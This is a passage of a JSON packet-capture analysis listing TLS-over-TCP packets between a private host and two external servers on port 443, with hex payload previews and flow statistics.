E[oqboep\\r&\\u0015@\\r\\b?hq\\u0014\\u001by)$\\\\c0R\\u000f]1:R\\u0004Jqm&zQT0[29@(\\u0007\\u0005ny*\\u000fv\\u001dTo\\u001aO#B\\ty8Le,K\\t?Nnyx?\\u0003\\u000e43^Ih\\u0011!/}a_\\u0013fK\\u001d5aBHN\\u0010\\u0010\\u0016}\\u0007%qVh\\u000e\\u0003q\\u0012xYQ\\r%59\\u00132n+rOdH\\u00180gOwi;PD;'*@,cKqpGd1J\\u0005B\\u001b\\u007frraut;i\\\\\\u001eA\\u0011'pu2o\\u0012Pm\\u0014HCy\\u000f|GDd\\f\\u001a\\n\\u000bu0yY\\u0001J:mK\\u0000jY{O\\u0016V\\u0005\\u000b >8\\u0004f\\u0003)J\\u000b<p/\\u000e)/\\u0016\\u0019oyne4#,q\\u0018j/]@7\\u0007M\\\"/;\\u001d{I\\\"nL\\n`[\\u0001c#(\\rb\\rj\\u0011q(}To\\u0011:\\u0002@39NfO~&M*\\u0013;Ix6&\\u0014p\\u0004)(\"}, {\"packet_number\": 16, \"timestamp\": 1781446961.929958, \"timestamp_iso\": \"2026-06-14T19:52:41.929958\", \"timestamp_human\": \"2026-06-14 19:52:41.929\", \"size\": 687, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60591, \"ip_len\": 673, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63945, \"tcp_seq\": 1884106492, \"tcp_ack\": 2441338463, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 633, \"payload_preview\": \"208fb54b4bbedcbd55db4b240cf50ee1e80158ef3b1611656907595333b50e331cd37027f8ca65b334605f5e54f93a57138e3427d0e61a69220c86ae20cf451f940e17c414e0f2dfa533a63cad26832102c4777b53435808a60c3f0c3d5d73add3ae364c3dc6b1edebc40d01b0d1178347875bc249fab3eba27679b6b35c00cf6a44995fcb70ae58e8841a2513e49580347c5d92f95ba544e0f94af5a3fd654398bebd921e7e040559f2be92bee1cec220c57cc3941de404196ce50fb49d161e7d5ff6f76df47fae08a4a3056e2ef43e45b06a7659ba8804e2ef58b4d47101cd9ddff0fcf42105c2712655f90b2cb19089e31b1885df764a55d9a721ebc2d80308c6d1f243edc9f63e08625765235b0ad3e9c803a43003f174afca1d040f15d5508177661196914635b99a82f82224ff20ffae170ed903af29466bafb99ef2b22fc774aaaa0490fade26db04fad3692c865ec87d2ce91e22d3c6938024d589e6fb9fafcbaea868b04693023d2718c2333c72f59f15616ce9d64519e9a0ca38539a283d2ae79042e98aa2f66a09f05cc9d03e01370d9de9e46c8eb118d86274e98212c6d52ee044cbbd4637b845f8de1f24abe15a8d493723bbf0588736ba6b42b8aa832ac9a4239f2a5e8f5b69f2ed25e1b333f527236c56e20876afb13cb6a12abf07d3251a6df85844708036d777107f7bf65778c270adbda395fa18d3b6d7e176efd04a6c637fbd4c9cc20c6760d8e444515ff7e67cbb9a908cc302729425183e8518335ed87a991881a18d20d166a7893221538c1a238197b63c0f1541a459564f543d7ac25956c39c135882aae7444f41490a6ca0ea87acc4c22884819ed328ded1a71949522e50c18bb8c42e24234a3881cd81274f74\", \"payload_ascii\": \" KKUK$\\f\\u000e\\u0001X;\\u0016\\u0011ei\\u0007YS3\\u000e3\\u001cp'e4`_^T:W\\u00134'\\u001ai\\\"\\f E\\u001f\\u000e\\u0017\\u00143<&!\\u0002w{SCX\\b\\f?\\f=]s6L=\\r\\u0001\\u0017G[Ivy\\\\\\u0000jD_pX\\u001a%\\u00134|][DJeC\\u001e~\\u0004\\u0005Y |\\u001d\\u0004\\u0019l\\u000f\\u0016\\u001e}_m\\u007f\\b\\u0005n.>EjvY\\u0004Xq\\u0001!\\u0005q&U\\u000b,\\u001b\\u0018vJU!\\u0003\\bC>\\bbWe#[\\n\\u00030\\u0003t\\u001d\\u0004\\u000f\\u0015Pwf\\u0011F5\\\"$ \\u0017\\u000e\\u0003)Fk/t\\u0004&\\u0004i,^},\\u001e\\\"$hF\\u0002='\\u00183<r\\u0015alE\\u00198S(=*Bj\\t\\\\>\\u00017\\rl\\u0018bt\\u0012.DF7E\\u001f$ZI7#X6kB*#*^[i%3'#lV\\bv<*\\u0007%\\u001amXDp6w\\u0010\\u007f{Wxp\\u0018vJlc\\u007fL\\fg`DQ_|\\u0002r%\\u0018>\\u00183^z\\u0018 f2!S\\u001a#<\\u000f\\u0015AYVOT=zYV\\u0013XDOAI\\nl((\\u0019IR.P.$#J8'Ot\"}, {\"packet_number\": 19, \"timestamp\": 1781446962.386574, \"timestamp_iso\": \"2026-06-14T19:52:42.386574\", \"timestamp_human\": \"2026-06-14 19:52:42.386\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60592, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63945, \"tcp_seq\": 1884107125, \"tcp_ack\": 2441338845, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 25, \"timestamp\": 1781446962.764074, \"timestamp_iso\": \"2026-06-14T19:52:42.764074\", \"timestamp_human\": \"2026-06-14 19:52:42.764\", \"size\": 687, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60593, \"ip_len\": 673, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63945, \"tcp_seq\": 1884107125, \"tcp_ack\": 2441338845, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 11, \"PSH\": 6}, \"packet_sizes\": [66, 54, 3756, 54, 328, 54, 3470, 4102, 687, 54, 687], \"inter_packet_intervals\": [0.0007779598236083984, 0.4829258918762207, 0.03238201141357422, 0.4295790195465088, 0.001093149185180664, 0.3353698253631592, 0.010879039764404297, 0.0002701282501220703, 0.4566159248352051, 0.377500057220459], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 2.1273930072784424, \"avg_packet_size\": 1210.1818181818182, \"packets_per_second\": 5.17064781277636, \"bytes_per_second\": 6257.4239712435365, \"min_packet_size\": 54, \"max_packet_size\": 4102, \"median_packet_size\": 328, \"avg_interval\": 0.21273930072784425, \"min_interval\": 0.0002701282501220703, \"max_interval\": 0.4829258918762207}, {\"source\": \"10.152.152.11\", \"target\": \"132.245.230.33\", \"packet_count\": 32, \"total_bytes\": 3265, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63964, 64010], \"dst_ports\": [443], \"first_packet\": 1781446962.701811, \"last_packet\": 1781446971.936651, \"packets\": [{\"packet_number\": 20, \"timestamp\": 1781446962.701811, \"timestamp_iso\": \"2026-06-14T19:52:42.701811\", \"timestamp_human\": \"2026-06-14 19:52:42.701\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36595, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541011, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 22, \"timestamp\": 1781446962.702033, \"timestamp_iso\": \"2026-06-14T19:52:42.702033\", \"timestamp_human\": \"2026-06-14 19:52:42.702\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36596, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541012, \"tcp_ack\": 1223497231, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 23, \"timestamp\": 1781446962.70497, \"timestamp_iso\": \"2026-06-14T19:52:42.704970\", \"timestamp_human\": \"2026-06-14 19:52:42.704\", \"size\": 257, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36597, \"ip_len\": 243, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541012, \"tcp_ack\": 1223497231, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 28, \"timestamp\": 1781446963.187374, \"timestamp_iso\": \"2026-06-14T19:52:43.187374\", \"timestamp_human\": \"2026-06-14 19:52:43.187\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36598, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541215, \"tcp_ack\": 1223501279, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 30, \"timestamp\": 1781446963.187526, \"timestamp_iso\": \"2026-06-14T19:52:43.187526\", \"timestamp_human\": \"2026-06-14 19:52:43.187\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36599, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541215, \"tcp_ack\": 1223501599, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 31, \"timestamp\": 1781446964.293611, \"timestamp_iso\": \"2026-06-14T19:52:44.293611\", \"timestamp_human\": \"2026-06-14 19:52:44.293\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36600, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541215, \"tcp_ack\": 1223501599, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"6104dbe77795294de5855b2c411e1b58b6f55f6869df122c093fbb27a06ba55c5ad51f20fffb1f56fcd1f41467679f4f98a73400a91a5ab774164c2a46579f80b14912fa378451e9bc47237384680bad5368600cc5bdbe48a0001bb8eb525dd4bdbb\", \"payload_ascii\": \"a\\u0004w)M[,A\\u001e\\u001bX_hi\\u0012,\\t?'k\\\\Z\\u001f \\u001fV\\u0014ggO4\\u0000\\u001aZt\\u0016L*FWI\\u00127QG#sh\\u000bSh`\\fH\\u0000\\u001bR]\"}, {\"packet_number\": 34, \"timestamp\": 1781446964.834763, \"timestamp_iso\": \"2026-06-14T19:52:44.834763\", \"timestamp_human\": \"2026-06-14 19:52:44.834\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36601, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541373, \"tcp_ack\": 1223502026, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 35, \"timestamp\": 1781446964.838598, \"timestamp_iso\": \"2026-06-14T19:52:44.838598\", \"timestamp_human\": \"2026-06-14 19:52:44.838\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36602, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541373, \"tcp_ack\": 1223502026, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 37, \"timestamp\": 1781446964.838684, \"timestamp_iso\": \"2026-06-14T19:52:44.838684\", \"timestamp_human\": \"2026-06-14 19:52:44.838\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36603, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541460, \"tcp_ack\": 1223502026, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 39, \"timestamp\": 1781446964.841284, \"timestamp_iso\": \"2026-06-14T19:52:44.841284\", \"timestamp_human\": \"2026-06-14 19:52:44.841\", \"size\": 168, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36604, \"ip_len\": 154, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541498, \"tcp_ack\": 1223502026, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 42, \"timestamp\": 1781446965.669366, \"timestamp_iso\": \"2026-06-14T19:52:45.669366\", \"timestamp_human\": \"2026-06-14 19:52:45.669\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36605, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541612, \"tcp_ack\": 1223503093, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 43, \"timestamp\": 1781446965.670951, \"timestamp_iso\": \"2026-06-14T19:52:45.670951\", \"timestamp_human\": \"2026-06-14 19:52:45.670\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36606, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541612, \"tcp_ack\": 1223503093, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 46, \"timestamp\": 1781446966.405923, \"timestamp_iso\": \"2026-06-14T19:52:46.405923\", \"timestamp_human\": \"2026-06-14 19:52:46.405\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36607, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541676, \"tcp_ack\": 1223503816, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 47, \"timestamp\": 1781446966.409096, \"timestamp_iso\": \"2026-06-14T19:52:46.409096\", \"timestamp_human\": \"2026-06-14 19:52:46.409\", \"size\": 164, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36608, \"ip_len\": 150, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541676, \"tcp_ack\": 1223503816, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 50, \"timestamp\": 1781446966.817391, \"timestamp_iso\": \"2026-06-14T19:52:46.817391\", \"timestamp_human\": \"2026-06-14 19:52:46.817\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36609, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541786, \"tcp_ack\": 1223504444, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 51, \"timestamp\": 1781446967.222093, \"timestamp_iso\": \"2026-06-14T19:52:47.222093\", \"timestamp_human\": \"2026-06-14 19:52:47.222\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36610, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321035754, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 53, \"timestamp\": 1781446967.222443, \"timestamp_iso\": \"2026-06-14T19:52:47.222443\", \"timestamp_human\": \"2026-06-14 19:52:47.222\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36611, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321035755, \"tcp_ack\": 763870667, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 54, \"timestamp\": 1781446967.222671, \"timestamp_iso\": \"2026-06-14T19:52:47.222671\", \"timestamp_human\": \"2026-06-14 19:52:47.222\", \"size\": 260, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36612, \"ip_len\": 246, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321035755, \"tcp_ack\": 763870667, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 57, \"timestamp\": 1781446967.837283, \"timestamp_iso\": \"2026-06-14T19:52:47.837283\", \"timestamp_human\": \"2026-06-14 19:52:47.837\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36613, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321035961, \"tcp_ack\": 763872131, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 59, \"timestamp\": 1781446967.844148, \"timestamp_iso\": \"2026-06-14T19:52:47.844148\", \"timestamp_human\": \"2026-06-14 19:52:47.844\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36614, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321035961, \"tcp_ack\": 763875031, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 60, \"timestamp\": 1781446967.84742, \"timestamp_iso\": \"2026-06-14T19:52:47.847420\", \"timestamp_human\": \"2026-06-14 19:52:47.847\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36615, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321035961, \"tcp_ack\": 763875031, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"6104b642fccd67c634a59405629b5ac480180685c976961ae7af825d801c84d45edd6da2e1e1a3d3890b574b9efde6faa1a190b1986baa28aa161eef3849f414516e95a1923329bd5bac43594b5a75e83531d2ad1fffe2688e0cdaf73504d06138ca\", \"payload_ascii\": \"a\\u0004Bg4\\u0005bZ\\u0018\\u0006v\\u001a]\\u001c^m\\u000bWKk(\\u0016\\u001e8I\\u0014Qn3)[CYKZu51\\u001fh\\f5\\u0004a8\"}, {\"packet_number\": 63, \"timestamp\": 1781446968.272074, \"timestamp_iso\": \"2026-06-14T19:52:48.272074\", \"timestamp_human\": \"2026-06-14 19:52:48.272\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36616, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321036119, \"tcp_ack\": 763875458, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 64, \"timestamp\": 1781446968.27312, \"timestamp_iso\": \"2026-06-14T19:52:48.273120\", \"timestamp_human\": \"2026-06-14 19:52:48.273\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36617, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321036119, \"tcp_ack\": 763875458, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 66, \"timestamp\": 1781446968.273288, \"timestamp_iso\": \"2026-06-14T19:52:48.273288\", \"timestamp_human\": \"2026-06-14 19:52:48.273\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36618, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321036206, \"tcp_ack\": 763875458, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 68, \"timestamp\": 1781446968.273324, \"timestamp_iso\": \"2026-06-14T19:52:48.273324\", \"timestamp_human\": \"2026-06-14 19:52:48.273\", \"size\": 170, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36619, \"ip_len\": 156, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321036244, \"tcp_ack\": 763875458, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, 